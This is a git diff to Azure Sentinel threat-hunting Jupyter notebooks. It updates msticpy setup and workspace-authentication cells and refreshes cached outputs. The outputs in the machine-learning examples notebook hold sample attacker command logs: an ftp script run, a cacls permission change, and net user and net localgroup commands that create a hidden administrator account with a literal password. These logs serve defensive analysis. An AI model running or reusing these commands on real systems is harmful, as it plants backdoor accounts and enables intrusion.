- " \"style\": {\"description_width\": \"initial\"},\n",
- "}"
+ ");\n"
]
},
{
@@ -152,6 +138,23 @@
""
]
},
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {},
+ "outputs": [],
+ "source": [
+ "# See if we have an Azure Sentinel Workspace defined in our config file.\n",
+ "# If not, let the user specify Workspace and Tenant IDs\n",
+ "\n",
+ "ws_config = WorkspaceConfig()\n",
+ "if not ws_config.config_loaded:\n",
+ " ws_config.prompt_for_ws()\n",
+ " \n",
+ "qry_prov = QueryProvider(data_environment=\"AzureSentinel\")\n",
+ "print(\"done\")"
+ ]
+ },
{
"cell_type": "code",
"execution_count": null,
@@ -166,10 +169,8 @@
},
"outputs": [],
"source": [
- "# Authentication\n",
- "ws_config = WorkspaceConfig()\n",
- "qry_prov = QueryProvider(data_environment=\"LogAnalytics\")\n",
- "qry_prov.connect(connection_str=ws_config.code_connect_str)\n",
+ "# Authenticate to Azure Sentinel workspace\n",
+ "qry_prov.connect(ws_config)\n",
"table_index = qry_prov.schema_tables"
]
},
@@ -1217,4 +1218,4 @@
},
"nbformat": 4,
"nbformat_minor": 4
-}
+}
\ No newline at end of file
diff --git a/Guided Investigation - MDE Webshell Alerts.ipynb b/Guided Investigation - MDE Webshell Alerts.ipynb
index c3f13eec..035d455e 100644
--- a/Guided Investigation - MDE Webshell Alerts.ipynb
+++ b/Guided Investigation - MDE Webshell Alerts.ipynb
@@ -4,7 +4,7 @@
"cell_type": "markdown",
"metadata": {},
"source": [
- "Guided Webshell Investigation - MDE Sentinel Enrichments \n",
+ "# Guided Webshell Investigation - MDE Sentinel Enrichments \n",
"Notebook Version: 1.0 \n",
"Python Version: Python 3.6 \n",
"Data Sources Required: MDE SecurityAlert, W3CIIS Log (or similar web logging)
\n",
@@ -74,37 +74,22 @@
"outputs": [],
"source": [
"from pathlib import Path\n",
- "import os\n",
- "import sys\n",
- "import warnings\n",
- "from ipywidgets import HBox\n",
- "from IPython.display import display, HTML, Markdown\n",
+ "from IPython.display import display, HTML\n",
"\n",
"REQ_PYTHON_VER=(3, 6)\n",
- "REQ_MSTICPY_VER=(0, 6, 0)\n",
+ "REQ_MSTICPY_VER=(1, 0, 0)\n",
"\n",
"display(HTML(\"Starting Notebook setup... \"))\n",
"if Path(\"./utils/nb_check.py\").is_file():\n",
- " from utils.nb_check import check_python_ver, check_mp_ver\n",
- "\n",
- " check_python_ver(min_py_ver=REQ_PYTHON_VER)\n",
- " try:\n",
- " check_mp_ver(min_msticpy_ver=REQ_MSTICPY_VER)\n",
- " except ImportError:\n",
- " !pip install --upgrade msticpy\n",
- " if \"msticpy\" in sys.modules:\n",
- " importlib.reload(sys.modules[\"msticpy\"])\n",
- " else:\n",
- " import msticpy\n",
- " check_mp_ver(REQ_MSTICPY_VER)\n",
+ " from utils.nb_check import check_versions\n",
+ " check_versions(REQ_PYTHON_VER, REQ_MSTICPY_VER)\n",
" \n",
"\n",
"# If not using Azure Notebooks, install msticpy with\n",
"# !pip install msticpy\n",
"from msticpy.nbtools import nbinit\n",
"nbinit.init_notebook(\n",
- " namespace=globals(),\n",
- " extra_imports=[\"ipwhois, IPWhois\"]\n",
+ " namespace=globals()\n",
");"
]
},
@@ -794,9 +779,9 @@
"metadata": {
"hide_input": false,
"kernelspec": {
- "display_name": "Python 3.6",
+ "display_name": "Python (condadev)",
"language": "python",
- "name": "python36"
+ "name": "condadev"
},
"language_info": {
"codemirror_mode": {
diff --git a/Guided Investigation - Process-Alerts.ipynb b/Guided Investigation - Process-Alerts.ipynb
index 64ab2c4a..1a957651 100644
--- a/Guided Investigation - Process-Alerts.ipynb
+++ b/Guided Investigation - Process-Alerts.ipynb
@@ -77,35 +77,28 @@
"outputs": [],
"source": [
"from pathlib import Path\n",
- "import os\n",
- "import sys\n",
- "import warnings\n",
- "from IPython.display import display, HTML, Markdown\n",
+ "from IPython.display import display, HTML\n",
"\n",
"REQ_PYTHON_VER=(3, 6)\n",
- "REQ_MSTICPY_VER=(0, 6, 0)\n",
+ "REQ_MSTICPY_VER=(1, 0, 0)\n",
+ "REQ_MP_EXTRAS = [\"ml\"]\n",
"\n",
"display(HTML(\"Starting Notebook setup... \"))\n",
"if Path(\"./utils/nb_check.py\").is_file():\n",
- " from utils.nb_check import check_python_ver, check_mp_ver\n",
- "\n",
- " check_python_ver(min_py_ver=REQ_PYTHON_VER)\n",
- " try:\n",
- " check_mp_ver(min_msticpy_ver=REQ_MSTICPY_VER)\n",
- " except ImportError:\n",
- " !pip install --upgrade msticpy\n",
- " if \"msticpy\" in sys.modules:\n",
- " importlib.reload(sys.modules[\"msticpy\"])\n",
- " else:\n",
- " import msticpy\n",
- " check_mp_ver(REQ_MSTICPY_VER)\n",
+ " from utils.nb_check import check_versions\n",
+ " check_versions(REQ_PYTHON_VER, REQ_MSTICPY_VER, REQ_MP_EXTRAS)\n",
" \n",
"\n",
"# If not using Azure Notebooks, install msticpy with\n",
"# !pip install msticpy\n",
+ "\n",
"from msticpy.nbtools import nbinit\n",
+ "additional_packages = [\"seaborn\"]\n",
"\n",
- "nbinit.init_notebook(namespace=globals());"
+ "nbinit.init_notebook(\n",
+ " namespace=globals(),\n",
+ " additional_packages=additional_packages\n",
+ ");"
]
},
{
@@ -143,8 +136,15 @@
"metadata": {},
"outputs": [],
"source": [
- "# To list configured workspaces run WorkspaceConfig.list_workspaces()\n",
- "# WorkspaceConfig.list_workspaces()"
+ "# See if we have an Azure Sentinel Workspace defined in our config file.\n",
+ "# If not, let the user specify Workspace and Tenant IDs\n",
+ "\n",
+ "ws_config = WorkspaceConfig()\n",
+ "if not ws_config.config_loaded:\n",
+ " ws_config.prompt_for_ws()\n",
+ " \n",
+ "qry_prov = QueryProvider(data_environment=\"AzureSentinel\")\n",
+ "print(\"done\")"
]
},
{
@@ -153,10 +153,8 @@
"metadata": {},
"outputs": [],
"source": [
- "# Authentication\n",
- "ws_config = WorkspaceConfig()\n",
- "qry_prov = QueryProvider(data_environment=\"LogAnalytics\")\n",
- "qry_prov.connect(connection_str=ws_config.code_connect_str)\n",
+ "# Authenticate to Azure Sentinel workspace\n",
+ "qry_prov.connect(ws_config)\n",
"table_index = qry_prov.schema_tables"
]
},
@@ -1269,4 +1267,4 @@
},
"nbformat": 4,
"nbformat_minor": 4
-}
+}
\ No newline at end of file
diff --git a/Guided Investigation - Solarwinds Post Compromise Activity.ipynb b/Guided Investigation - Solarwinds Post Compromise Activity.ipynb
index 92267610..e64c88b4 100644
--- a/Guided Investigation - Solarwinds Post Compromise Activity.ipynb
+++ b/Guided Investigation - Solarwinds Post Compromise Activity.ipynb
@@ -111,56 +111,20 @@
"outputs": [],
"source": [
"from pathlib import Path\n",
- "import os\n",
- "import sys\n",
- "import warnings\n",
- "from IPython.display import display, HTML, Markdown\n",
- "from ipywidgets import widgets, Layout\n",
+ "from IPython.display import display, HTML\n",
"\n",
"REQ_PYTHON_VER=(3, 6)\n",
- "REQ_MSTICPY_VER=(0, 6, 0)\n",
+ "REQ_MSTICPY_VER=(1, 0, 0)\n",
"\n",
"display(HTML(\"Starting Notebook setup... \"))\n",
"if Path(\"./utils/nb_check.py\").is_file():\n",
- " from utils.nb_check import check_python_ver, check_mp_ver\n",
- "\n",
- " check_python_ver(min_py_ver=REQ_PYTHON_VER)\n",
- " try:\n",
- " check_mp_ver(min_msticpy_ver=REQ_MSTICPY_VER)\n",
- " except ImportError:\n",
- " !pip install --upgrade msticpy\n",
- " if \"msticpy\" in sys.modules:\n",
- " importlib.reload(sys.modules[\"msticpy\"])\n",
- " else:\n",
- " import msticpy\n",
- " check_mp_ver(REQ_MSTICPY_VER)\n",
+ " from utils.nb_check import check_versions\n",
+ " check_versions(REQ_PYTHON_VER, REQ_MSTICPY_VER)\n",
" \n",
"\n",
"# If not using Azure Notebooks, install msticpy with\n",
"# !pip install msticpy\n",
"from msticpy.nbtools import nbinit\n",
- "extra_imports = [\n",
- " \"tqdm.notebook, tqdm\",\n",
- " \"whois\",\n",
- " \"dns\",\n",
- " \"tldextract\",\n",
- " \"datetime, date\",\n",
- " \"pandas, ,pd\",\n",
- " \"requests\",\n",
- " \"zipfile\",\n",
- " \"io\",\n",
- " \"re\",\n",
- " \"glob\",\n",
- " \"IPython\",\n",
- " \"json\",\n",
- " \"csv\",\n",
- " \"ipywidgets,,widgets\",\n",
- " \"msticpy.nbtools.foliummap, get_map_center\",\n",
- " \"msticpy.nbtools.foliummap, get_center_ip_entities\",\n",
- " \"pandas, json_normalize\",\n",
- " \"ruamel.yaml, YAML\",\n",
- " \"functools, lru_cache\",\n",
- "]\n",
"\n",
"additional_packages = [\n",
" \"tldextract\", \"IPWhois\", \"python-whois\"\n",
@@ -168,13 +132,25 @@
"nbinit.init_notebook(\n",
" namespace=globals(),\n",
" additional_packages=additional_packages,\n",
- " extra_imports=extra_imports,\n",
");\n",
"\n",
- "WIDGET_DEFAULTS = {\n",
- " \"layout\": widgets.Layout(width=\"95%\"),\n",
- " \"style\": {\"description_width\": \"initial\"},\n",
- "}\n",
+ "from datetime import date\n",
+ "from functools import lru_cache\n",
+ "from msticpy.nbtools.foliummap import get_map_center, get_center_ip_entities\n",
+ "from pandas import json_normalize\n",
+ "from ruamel.yaml import YAML\n",
+ "from tqdm.notebook import tqdm\n",
+ "import IPython\n",
+ "import csv\n",
+ "import dns\n",
+ "import glob\n",
+ "import io\n",
+ "import json\n",
+ "import re\n",
+ "import requests\n",
+ "import tldextract\n",
+ "import whois\n",
+ "import zipfile\n",
"from bokeh.plotting import figure"
]
},
@@ -189,19 +165,15 @@
},
"outputs": [],
"source": [
- "#Collect Azure Sentinel Workspace Details from our config file and use them to connect\n",
- "try:\n",
- " #Update to WorkspaceConfig(workspace=\"WORKSPACE_NAME\") to get alerts from a Workspace other than your default one.\n",
- " ws_config = WorkspaceConfig()\n",
- " ws_id = ws_config['workspace_id']\n",
- " ten_id = ws_config['tenant_id']\n",
- " md(\"Workspace details collected from config file\")\n",
- " qry_prov = QueryProvider('LogAnalytics')\n",
- " qry_prov.connect(connection_str=ws_config.code_connect_str)\n",
- "except RuntimeError:\n",
- " md(\"\"\"You do not have any Workspaces configured in your config files.\n",
- " Please run the https://github.com/Azure/Azure-Sentinel-Notebooks/blob/master/ConfiguringNotebookEnvironment.ipynb\n",
- " to setup these files before proceeding\"\"\" ,'bold')\n",
+ "# See if we have an Azure Sentinel Workspace defined in our config file.\n",
+ "# If not, let the user specify Workspace and Tenant IDs\n",
+ "\n",
+ "ws_config = WorkspaceConfig()\n",
+ "if not ws_config.config_loaded:\n",
+ " ws_config.prompt_for_ws()\n",
+ " \n",
+ "qry_prov = QueryProvider(data_environment=\"AzureSentinel\")\n",
+ "print(\"done\")\n",
" \n",
"ti = TILookup()"
]
@@ -218,6 +190,16 @@
"To configure this file see the [ConfigureNotebookEnvironment notebook](https://github.com/Azure/Azure-Sentinel-Notebooks/blob/master/ConfiguringNotebookEnvironment.ipynb)"
]
},
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {},
+ "outputs": [],
+ "source": [
+ "# Authenticate to Azure Sentinel workspace\n",
+ "qry_prov.connect(ws_config)"
+ ]
+ },
{
"cell_type": "code",
"execution_count": null,
@@ -1096,4 +1078,4 @@
},
"nbformat": 4,
"nbformat_minor": 4
-}
+}
\ No newline at end of file
diff --git a/Guided Investigation - WAF data.ipynb b/Guided Investigation - WAF data.ipynb
index 18d72983..92736945 100644
--- a/Guided Investigation - WAF data.ipynb
+++ b/Guided Investigation - WAF data.ipynb
@@ -91,27 +91,17 @@
"from pathlib import Path\n",
"import os\n",
"import sys\n",
- "import warnings\n",
- "from IPython.display import display, HTML, Markdown\n",
- "os.environ[\"KQLMAGIC_LOAD_MODE\"]=\"silent\"\n",
+ "from pathlib import Path\n",
+ "from IPython.display import display, HTML\n",
"\n",
"REQ_PYTHON_VER=(3, 6)\n",
- "REQ_MSTICPY_VER=(0, 6, 0)\n",
+ "REQ_MSTICPY_VER=(1, 0, 0)\n",
+ "REQ_MP_EXTRAS = [\"ml, kql\"]\n",
"\n",
"display(HTML(\"Starting Notebook setup... \"))\n",
"if Path(\"./utils/nb_check.py\").is_file():\n",
- " from utils.nb_check import check_python_ver, check_mp_ver\n",
- "\n",
- " check_python_ver(min_py_ver=REQ_PYTHON_VER)\n",
- " try:\n",
- " check_mp_ver(min_msticpy_ver=REQ_MSTICPY_VER)\n",
- " except ImportError:\n",
- " !pip install --upgrade msticpy\n",
- " if \"msticpy\" in sys.modules:\n",
- " importlib.reload(sys.modules[\"msticpy\"])\n",
- " else:\n",
- " import msticpy\n",
- " check_mp_ver(REQ_MSTICPY_VER)\n",
+ " from utils.nb_check import check_versions\n",
+ " check_versions(REQ_PYTHON_VER, REQ_MSTICPY_VER, REQ_MP_EXTRAS)\n",
"\n",
" \n",
"# If not using Azure Notebooks, install msticpy with\n",
@@ -119,9 +109,9 @@
"from msticpy.nbtools import nbinit\n",
"nbinit.init_notebook(\n",
" namespace=globals()\n",
+ " additional_packages=[\"adjustText\", \"plotly\"]\n",
");\n",
"\n",
- "!pip install adjustText\n",
"from ipywidgets import widgets, interactive\n",
"import plotly.graph_objects as go\n",
"import plotly.express as px\n",
@@ -187,9 +177,25 @@
}
],
"source": [
+ "# See if we have an Azure Sentinel Workspace defined in our config file.\n",
+ "# If not, let the user specify Workspace and Tenant IDs\n",
+ "\n",
"ws_config = WorkspaceConfig()\n",
- "qry_prov = QueryProvider(data_environment=\"LogAnalytics\")\n",
- "qry_prov.connect(connection_str=ws_config.code_connect_str)"
+ "if not ws_config.config_loaded:\n",
+ " ws_config.prompt_for_ws()\n",
+ " \n",
+ "qry_prov = QueryProvider(data_environment=\"AzureSentinel\")\n",
+ "print(\"done\")"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {},
+ "outputs": [],
+ "source": [
+ "# Authenticate to Azure Sentinel workspace\n",
+ "qry_prov.connect(ws_config)"
]
},
{
diff --git a/Guided Triage - Alerts.ipynb b/Guided Triage - Alerts.ipynb
index f3dc06ee..685ea698 100644
--- a/Guided Triage - Alerts.ipynb
+++ b/Guided Triage - Alerts.ipynb
@@ -66,27 +66,15 @@
"outputs": [],
"source": [
"from pathlib import Path\n",
- "import os\n",
- "import sys\n",
- "import warnings\n",
- "from IPython.display import display, HTML, Markdown\n",
+ "from IPython.display import display, HTML\n",
"\n",
"REQ_PYTHON_VER=(3, 6)\n",
- "REQ_MSTICPY_VER=(0, 6, 0)\n",
+ "REQ_MSTICPY_VER=(1, 0, 0)\n",
"\n",
"display(HTML(\"Starting Notebook setup... \"))\n",
"if Path(\"./utils/nb_check.py\").is_file():\n",
- " from utils.nb_check import check_python_ver, check_mp_ver\n",
- " check_python_ver(min_py_ver=REQ_PYTHON_VER)\n",
- " try:\n",
- " check_mp_ver(min_msticpy_ver=REQ_MSTICPY_VER)\n",
- " except ImportError:\n",
- " !pip install --upgrade msticpy\n",
- " if \"msticpy\" in sys.modules:\n",
- " importlib.reload(sys.modules[\"msticpy\"])\n",
- " else:\n",
- " import msticpy\n",
- " check_mp_ver(REQ_MSTICPY_VER)\n",
+ " from utils.nb_check import check_versions\n",
+ " check_versions(REQ_PYTHON_VER, REQ_MSTICPY_VER)\n",
" \n",
"\n",
"# If not using Azure Notebooks, install msticpy with\n",
@@ -152,20 +140,25 @@
},
"outputs": [],
"source": [
- "#Collect Azure Sentinel Workspace Details from our config file and use them to connect\n",
- "try:\n",
- " # Update to WorkspaceConfig(workspace=\"WORKSPACE_NAME\") to get alerts from a Workspace other than your default one.\n",
- " # Run WorkspaceConfig().list_workspaces() to see a list of configured workspaces\n",
- " ws_config = WorkspaceConfig()\n",
- " ws_id = ws_config['workspace_id']\n",
- " ten_id = ws_config['tenant_id']\n",
- " md(\"Workspace details collected from config file\")\n",
- " qry_prov = QueryProvider('LogAnalytics')\n",
- " qry_prov.connect(connection_str=ws_config.code_connect_str)\n",
- "except RuntimeError:\n",
- " md(\"\"\"You do not have any Workspaces configured in your config files.\n",
- " Please run the https://github.com/Azure/Azure-Sentinel-Notebooks/blob/master/ConfiguringNotebookEnvironment.ipynb\n",
- " to setup these files before proceeding\"\"\" ,'bold')"
+ "# See if we have an Azure Sentinel Workspace defined in our config file.\n",
+ "# If not, let the user specify Workspace and Tenant IDs\n",
+ "\n",
+ "ws_config = WorkspaceConfig()\n",
+ "if not ws_config.config_loaded:\n",
+ " ws_config.prompt_for_ws()\n",
+ " \n",
+ "qry_prov = QueryProvider(data_environment=\"AzureSentinel\")\n",
+ "print(\"done\")"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {},
+ "outputs": [],
+ "source": [
+ "# Authenticate to Azure Sentinel workspace\n",
+ "qry_prov.connect(ws_config)"
]
},
{
@@ -721,4 +714,4 @@
},
"nbformat": 4,
"nbformat_minor": 4
-}
+}
\ No newline at end of file
diff --git a/Machine Learning in Notebooks Examples.ipynb b/Machine Learning in Notebooks Examples.ipynb
index 89f155c5..037c166d 100644
--- a/Machine Learning in Notebooks Examples.ipynb
+++ b/Machine Learning in Notebooks Examples.ipynb
@@ -32,7 +32,7 @@
"source": [
"# # If msticpy is not installed please uncomment the following # #\n",
"# # line and run before continuing # #\n",
- "# !pip install --upgrade msticpy"
+ "# !pip install --upgrade msticpy[ml]"
]
},
{
@@ -44,10 +44,14 @@
"name": "stdout",
"output_type": "stream",
"text": [
+ "msticpy version installed: 1.0.0rc4 latest published: 0.9.0\n",
+ "Latest version is installed.\n",
"Processing imports....\n",
"Checking configuration....\n",
"No errors found.\n",
"No warnings found.\n",
+ "Exception while checking configuration:\n",
+ "cannot unpack non-iterable NoneType object\n",
"Setting notebook options....\n"
]
},
@@ -90,12 +94,12 @@
{
"data": {
"application/vnd.jupyter.widget-view+json": {
- "model_id": "f013a6adb9624bb6965d15f23b4108e4",
+ "model_id": "4186da8a3a394ce6ac856ce31a11ad62",
"version_major": 2,
"version_minor": 0
},
"text/plain": [
- "HBox(children=(HTML(value='File download'), FloatProgress(value=0.0, max=4.0), HTML(value='')))"
+ "File download: 0%| | 0/4 [00:00, ?it/s]"
]
},
"metadata": {},
@@ -105,7 +109,7 @@
"name": "stdout",
"output_type": "stream",
"text": [
- "data\\exchange_admin.pkl, data\\processes_on_host.pkl, data\\timeseries.pkl, data\\data_queries.yaml, \n"
+ "data\\exchange_admin.pkl, data\\processes_on_host.pkl, data\\timeseries.pkl, data\\data_queries.yaml, "
]
}
],
@@ -162,7 +166,7 @@
{
"data": {
"application/vnd.jupyter.widget-view+json": {
- "model_id": "9324a087123a4fc1a74d7d3348077344",
+ "model_id": "8ac4b40061254353977f9bcb77693cfd",
"version_major": 2,
"version_minor": 0
},
@@ -631,7 +635,7 @@
"\n",
"\n",
"\n",
- "
\n"
+ "
\n"
]
},
"metadata": {},
@@ -643,8 +647,8 @@
"(function(root) {\n",
" function embed_document(root) {\n",
" \n",
- " var docs_json = {\"b9b0cc5b-024c-41af-9651-6f7f1da25bea\":{\"roots\":{\"references\":[{\"attributes\":{\"children\":[{\"id\":\"1004\"},{\"id\":\"1116\"}]},\"id\":\"1146\",\"type\":\"Column\"},{\"attributes\":{\"base\":24,\"mantissas\":[1,2,4,6,8,12],\"max_interval\":43200000.0,\"min_interval\":3600000.0,\"num_minor_ticks\":0},\"id\":\"1174\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"source\":{\"id\":\"1002\"}},\"id\":\"1069\",\"type\":\"CDSView\"},{\"attributes\":{},\"id\":\"1183\",\"type\":\"YearsTicker\"},{\"attributes\":{\"base\":24,\"mantissas\":[1,2,4,6,8,12],\"max_interval\":43200000.0,\"min_interval\":3600000.0,\"num_minor_ticks\":0},\"id\":\"1053\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"label\":{\"value\":\"observed\"},\"renderers\":[{\"id\":\"1043\"}]},\"id\":\"1064\",\"type\":\"LegendItem\"},{\"attributes\":{},\"id\":\"1049\",\"type\":\"Selection\"},{\"attributes\":{\"days\":[\"%m-%d %H:%M\"],\"hours\":[\"%H:%M:%S\"],\"milliseconds\":[\"%H:%M:%S.%3N\"],\"minutes\":[\"%H:%M:%S\"],\"seconds\":[\"%H:%M:%S\"]},\"id\":\"1133\",\"type\":\"DatetimeTickFormatter\"},{\"attributes\":{\"axis_label\":\"TimeGenerated\",\"formatter\":{\"id\":\"1036\"},\"ticker\":{\"id\":\"1016\"}},\"id\":\"1015\",\"type\":\"DatetimeAxis\"},{\"attributes\":{\"days\":[1,4,7,10,13,16,19,22,25,28]},\"id\":\"1055\",\"type\":\"DaysTicker\"},{\"attributes\":{\"months\":[0,6]},\"id\":\"1061\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"axis\":{\"id\":\"1127\"},\"ticker\":null},\"id\":\"1130\",\"type\":\"Grid\"},{\"attributes\":{},\"id\":\"1102\",\"type\":\"UnionRenderers\"},{\"attributes\":{\"months\":[0,1,2,3,4,5,6,7,8,9,10,11]},\"id\":\"1058\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"line_color\":\"green\",\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"baseline\"}},\"id\":\"1066\",\"type\":\"Line\"},{\"attributes\":{\"text\":\"Range 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+ " var render_items = [{\"docid\":\"2e8a6f4c-7a10-4db0-ab57-ba221f9bfd56\",\"root_ids\":[\"1146\"],\"roots\":{\"1146\":\"8adbb531-cc4c-424f-b2af-721154b5c2ed\"}}];\n",
" root.Bokeh.embed.embed_items_notebook(docs_json, render_items);\n",
"\n",
" }\n",
@@ -932,7 +936,7 @@
},
{
"cell_type": "code",
- "execution_count": 10,
+ "execution_count": 8,
"metadata": {},
"outputs": [
{
@@ -1140,7 +1144,7 @@
"[4601 rows x 1 columns]"
]
},
- "execution_count": 10,
+ "execution_count": 8,
"metadata": {},
"output_type": "execute_result"
}
@@ -1191,7 +1195,7 @@
},
{
"cell_type": "code",
- "execution_count": 13,
+ "execution_count": 9,
"metadata": {},
"outputs": [
{
@@ -1234,174 +1238,174 @@
"data": {
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" \n",
" \n",
- " 0 \n",
- " - \n",
- " 0x3e7 \n",
- " 0.350000 \n",
- " 20 \n",
+ " 0 \n",
+ " - \n",
+ " 0x3e7 \n",
+ " 0.350000 \n",
+ " 20 \n",
" \n",
" \n",
- " 7 \n",
- " MSTICAdmin \n",
- " 0x78225e \n",
- " 0.297775 \n",
- " 21 \n",
+ " 7 \n",
+ " MSTICAdmin \n",
+ " 0x78225e \n",
+ " 0.297775 \n",
+ " 21 \n",
" \n",
" \n",
- " 10 \n",
- " MSTICAdmin \n",
- " 0xbed1e13 \n",
- " 0.297775 \n",
- " 21 \n",
+ " 10 \n",
+ " MSTICAdmin \n",
+ " 0xbed1e13 \n",
+ " 0.297775 \n",
+ " 21 \n",
" \n",
" \n",
- " 3 \n",
- " MSTICAdmin \n",
- " 0x1e821b5 \n",
- " 0.239992 \n",
- " 8 \n",
+ " 3 \n",
+ " MSTICAdmin \n",
+ " 0x1e821b5 \n",
+ " 0.239992 \n",
+ " 8 \n",
" \n",
" \n",
- " 8 \n",
- " MSTICAdmin \n",
- " 0xab5a5ac \n",
- " 0.239992 \n",
- " 8 \n",
+ " 8 \n",
+ " MSTICAdmin \n",
+ " 0xab5a5ac \n",
+ " 0.239992 \n",
+ " 8 \n",
" \n",
" \n",
- " 11 \n",
- " MSTICAdmin \n",
- " 0xc277459 \n",
- " 0.236656 \n",
- " 6 \n",
+ " 11 \n",
+ " MSTICAdmin \n",
+ " 0xc277459 \n",
+ " 0.236656 \n",
+ " 6 \n",
" \n",
" \n",
- " 4 \n",
- " MSTICAdmin \n",
- " 0x1f388a3 \n",
- " 0.202848 \n",
- " 7 \n",
+ " 4 \n",
+ " MSTICAdmin \n",
+ " 0x1f388a3 \n",
+ " 0.202848 \n",
+ " 7 \n",
" \n",
" \n",
- " 12 \n",
- " MSTICAdmin \n",
- " 0xc54c7b9 \n",
- " 0.202848 \n",
- " 7 \n",
+ " 12 \n",
+ " MSTICAdmin \n",
+ " 0xc54c7b9 \n",
+ " 0.202848 \n",
+ " 7 \n",
" \n",
" \n",
- " 6 \n",
- " MSTICAdmin \n",
- " 0x527d50d \n",
- " 0.058824 \n",
- " 3 \n",
+ " 6 \n",
+ " MSTICAdmin \n",
+ " 0x527d50d \n",
+ " 0.058824 \n",
+ " 3 \n",
" \n",
" \n",
- " 1 \n",
- " LOCAL SERVICE \n",
- " 0x3e5 \n",
- " 0.038462 \n",
- " 26 \n",
+ " 1 \n",
+ " LOCAL SERVICE \n",
+ " 0x3e5 \n",
+ " 0.038462 \n",
+ " 26 \n",
" \n",
" \n",
- " 14 \n",
- " MSTICAlertsWin1$ \n",
- " 0x3e7 \n",
- " 0.012226 \n",
- " 14508 \n",
+ " 14 \n",
+ " MSTICAlertsWin1$ \n",
+ " 0x3e7 \n",
+ " 0.012226 \n",
+ " 14508 \n",
" \n",
" \n",
- " 13 \n",
- " MSTICAlertsWin1$ \n",
- " 0x3e4 \n",
- " 0.004636 \n",
- " 8197 \n",
+ " 13 \n",
+ " MSTICAlertsWin1$ \n",
+ " 0x3e4 \n",
+ " 0.004636 \n",
+ " 8197 \n",
" \n",
"
"
],
"text/plain": [
- ""
+ ""
]
},
"metadata": {},
@@ -1471,7 +1475,7 @@
},
{
"cell_type": "code",
- "execution_count": 14,
+ "execution_count": 10,
"metadata": {},
"outputs": [
{
@@ -1530,7 +1534,7 @@
" \n",
" 22659 \n",
" 2019-02-12 20:30:18.290 \n",
- " findstr \"abai__\" \n",
+ " findstr \"abai$\" \n",
" \n",
" \n",
" 22660 \n",
@@ -1540,22 +1544,22 @@
" \n",
" 22661 \n",
" 2019-02-12 20:30:18.377 \n",
- " net user abai__ [PLACEHOLDER] /add \n",
+ " net user abai$ Wf9k44_9d[=$ /add \n",
" \n",
" \n",
" 22662 \n",
" 2019-02-12 20:30:18.387 \n",
- " C:\\Windows\\system32\\net1 user abai__ [PLACEHOLDER] /add \n",
+ " C:\\Windows\\system32\\net1 user abai$ Wf9k44_9d[=$ /add \n",
" \n",
" \n",
" 22663 \n",
" 2019-02-12 20:30:18.413 \n",
- " net user abai__ [PLACEHOLDER] \n",
+ " net user abai$ Wf9k44_9d[=$ \n",
" \n",
" \n",
" 22664 \n",
" 2019-02-12 20:30:18.427 \n",
- " C:\\Windows\\system32\\net1 user abai__ [PLACEHOLDER] \n",
+ " C:\\Windows\\system32\\net1 user abai$ Wf9k44_9d[=$ \n",
" \n",
" \n",
" 22665 \n",
@@ -1565,7 +1569,7 @@
" \n",
" 22666 \n",
" 2019-02-12 20:30:18.460 \n",
- " findstr \"abai__\" \n",
+ " findstr \"abai$\" \n",
" \n",
" \n",
" 22667 \n",
@@ -1575,12 +1579,12 @@
" \n",
" 22668 \n",
" 2019-02-12 20:30:18.493 \n",
- " net localgroup administrators abai__ /add \n",
+ " net localgroup administrators abai$ /add \n",
" \n",
" \n",
" 22669 \n",
" 2019-02-12 20:30:18.510 \n",
- " C:\\Windows\\system32\\net1 localgroup administrators abai__ /add \n",
+ " C:\\Windows\\system32\\net1 localgroup administrators abai$ /add \n",
" \n",
" \n",
" 22670 \n",
@@ -1600,17 +1604,17 @@
" \n",
" 22673 \n",
" 2019-02-12 20:30:18.590 \n",
- " net user www.401hk.com [PLACEHOLDER] /add \n",
+ " net user www.401hk.com Wf9k44_9d[=$ /add \n",
" \n",
" \n",
" 22674 \n",
" 2019-02-12 20:30:18.603 \n",
- " C:\\Windows\\system32\\net1 user www.401hk.com [PLACEHOLDER] /add \n",
+ " C:\\Windows\\system32\\net1 user www.401hk.com Wf9k44_9d[=$ /add \n",
" \n",
" \n",
" 22675 \n",
" 2019-02-12 20:30:18.630 \n",
- " net user www.401hk.com [PLACEHOLDER] \n",
+ " net user www.401hk.com Wf9k44_sinc9d3[=$ \n",
" \n",
" \n",
"
\n",
@@ -1643,22 +1647,22 @@
"22656 ftp -s:MG06.dll \n",
"22657 cacls.exe C:\\Windows\\system32\\cscript.exe /e /t /g SYSTEM:F \n",
"22658 net users \n",
- "22659 findstr \"abai__\" \n",
+ "22659 findstr \"abai$\" \n",
"22660 C:\\Windows\\system32\\net1 users \n",
- "22661 net user abai__ [PLACEHOLDER] /add \n",
- "22662 C:\\Windows\\system32\\net1 user abai__ [PLACEHOLDER] /add \n",
- "22663 net user abai__ [PLACEHOLDER] \n",
- "22664 C:\\Windows\\system32\\net1 user abai__ [PLACEHOLDER] \n",
+ "22661 net user abai$ Wf9k44_9d[=$ /add \n",
+ "22662 C:\\Windows\\system32\\net1 user abai$ Wf9k44_9d[=$ /add \n",
+ "22663 net user abai$ Wf9k44_9d[=$ \n",
+ "22664 C:\\Windows\\system32\\net1 user abai$ Wf9k44_9d[=$ \n",
"22665 net localgroup administrators \n",
- "22666 findstr \"abai__\" \n",
+ "22666 findstr \"abai$\" \n",
"22667 C:\\Windows\\system32\\net1 localgroup administrators \n",
- "22668 net localgroup administrators abai__ /add \n",
- "22669 C:\\Windows\\system32\\net1 localgroup administrators abai__ /add \n",
+ "22668 net localgroup administrators abai$ /add \n",
+ "22669 C:\\Windows\\system32\\net1 localgroup administrators abai$ /add \n",
"22670 net users \n",
"22671 findstr \"www.401hk.com\" \n",
"22672 C:\\Windows\\system32\\net1 users \n",
- "22673 net user www.401hk.com [PLACEHOLDER] /add \n",
- "22674 C:\\Windows\\system32\\net1 user www.401hk.com [PLACEHOLDER] /add \n",
+ "22673 net user www.401hk.com Wf9k44_9d[=$ /add \n",
+ "22674 C:\\Windows\\system32\\net1 user www.401hk.com Wf9k44_9d[=$ /add \n",
"22675 net user www.401hk.com Wf9k44_sinc9d3[=$ "
